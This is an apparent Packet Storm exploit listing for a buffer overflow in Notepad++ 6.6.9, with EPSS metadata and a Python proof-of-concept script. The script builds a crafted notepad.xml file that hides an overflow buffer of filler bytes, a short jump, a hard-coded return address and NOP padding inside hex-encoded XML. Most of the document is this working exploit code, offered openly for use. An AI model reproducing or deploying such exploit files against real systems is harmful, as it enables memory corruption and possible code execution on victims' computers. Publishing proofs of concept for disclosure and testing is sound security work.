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packetstormTaurus OmarPACKETSTORM:129707
HistoryDec 23, 2014 - 12:00 a.m.

NotePad++ 6.6.9 Buffer Overflow

2014-12-2300:00:00
Taurus Omar
packetstormsecurity.com
66

EPSS

0.002

Percentile

58.7%

`#!/usr/bin/python  
# Exploit Title: NotePad++ v6.6.9 Buffer Overflow  
# URL Vendor: http://notepad-plus-plus.org/  
# Vendor Name: NotePad  
# Version: 6.6.9  
# Date: 22/12/2014  
# CVE: CVE-2014-1004  
# Author: TaurusOmar   
# Twitter: @TaurusOmar_  
# Email: [email protected]  
# Home: overhat.blogspot.com  
# Risk: Medium  
  
#Description:  
#Notepad++ is a free (as in "free speech" and also as in "free beer") source code editor and Notepad replacement that supports several languages.   
#Running in the MS Windows environment, its use is governed by GPL License.  
#Based on the powerful editing component Scintilla, Notepad++ is written in C++ and uses pure Win32 API and STL which ensures a higher execution speed   
#and smaller program size. By optimizing as many routines as possible without losing user friendliness, Notepad++ is trying to reduce the world carbon   
#dioxide emissions. When using less CPU power, the PC can throttle down and reduce power consumption, resulting in a greener environment.  
  
#Proof Concept  
#http://i.imgur.com/TTDtxJM.jpg  
  
#Code  
import struct  
def little_endian(address):  
return struct.pack("<L",address)  
poc ="\x41" * 591  
poc+="\xeb\x06\x90\x90"  
poc+=little_endian(0x1004C31F)  
poc+="\x90" * 80  
poc+="\x90" * (20000 - len(poc))  
header = "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22"  
header += "\x55\x54\x46\x2d\x38\x22\x20\x3f\x3e\x0a\x3c\x53\x63\x68\x65\x64\x75\x6c\x65\x3e\x0a\x09\x3c\x45\x76\x65\x6e\x74\x20\x55"  
header += "\x72\x6c\x3d\x22\x22\x20\x54\x69\x6d\x65\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x0a" + poc  
footer = "\x22\x20\x46\x6f\x6c\x64\x65\x72\x3d\x22\x22\x20\x2f\x3e\x0a\x3c\x2f\x53\x63\x68\x65\x64\x75\x6c\x65\x3e\x0a"  
exploit = header + footer  
filename = "notepad.xml"  
file = open(filename , "w")  
file.write(exploit)  
file.close()  
`

EPSS

0.002

Percentile

58.7%